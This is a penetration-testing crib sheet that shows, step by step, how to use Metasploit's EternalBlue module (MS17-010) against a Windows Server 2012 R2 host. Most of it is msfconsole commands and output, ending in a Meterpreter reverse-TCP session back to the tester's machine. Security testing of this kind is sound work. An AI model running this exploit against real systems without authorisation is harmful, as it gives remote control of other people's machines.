How to Use Metasploit and MS17-010 on a Security Test

Metasploit provides us with the ability to use a number of exploits. In this crib sheet we are going to use Metasploit to exploit MS17-010. We can use the search function within Metasploit to **search** for specific Microsoft Security Bulletin Numbers or specific CVE numbers. The Microsoft Security Notice MS17-010 related to the following CVE Numbers:

- CVE-2017-0143
- CVE-2017-0144
- CVE-2017-0145
- CVE-2017-0146
- CVE-2017-0147
- CVE-2017-0148

In the following example we are going to use the **search** command to search for MS17-010.

```
$ msfconsole
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
msf> search MS17-010
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Once we have selected the exploit that we wish to use the next thing that we need to do is to specify the target that we wish to attack/exploit and the payload that we wish to execute. So, we select that target via specifying the RHOSTS variable for the exploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) >set RHOSTS 192.168.2.14
RHOSTS => 192.168.2.14
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Once we have defined the target, we can then define the payload that we want the exploit to use. We can then check that the vulnerability exists on the target system via the **check** command as follows:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) >
[+] 192.168.2.14 - The target is vulnerable
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

Once we have confirmed that the target is vulnerable, we can run the exploit via the run command as follows:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.2.201:4444
[*] 192.168.2.14:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.2.14:445      - Host is likely VULNERABLE to MS17-010! - Windows Server
2012 R2 Standard 9600 x64 (64-bit)
[*] 192.168.2.14:445      - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.2.14:445 - The target is vulnerable.
[*] 192.168.2.14:445 - shellcode size: 1283
[*] 192.168.2.14:445 - numGroomConn: 12
[*] 192.168.2.14:445 - Target OS: Windows Server 2012 R2 Standard 9600
[+] 192.168.2.14:445 - got good NT Trans response
[+] 192.168.2.14:445 - got good NT Trans response
[+] 192.168.2.14:445 - SMB1 session setup allocate nonpaged pool success
[+] 192.168.2.14:445 - SMB1 session setup allocate nonpaged pool success
[+] 192.168.2.14:445 - good response status for nx: INVALID_PARAMETER
[+] 192.168.2.14:445 - good response status for nx: INVALID_PARAMETER
[*] Sending stage (200774 bytes) to 192.168.2.14
[*] Meterpreter session 1 opened (192.168.2.201:4444 -> 192.168.2.14:31776) at
2022-08-12 10:13:39 -0400
meterpreter >
```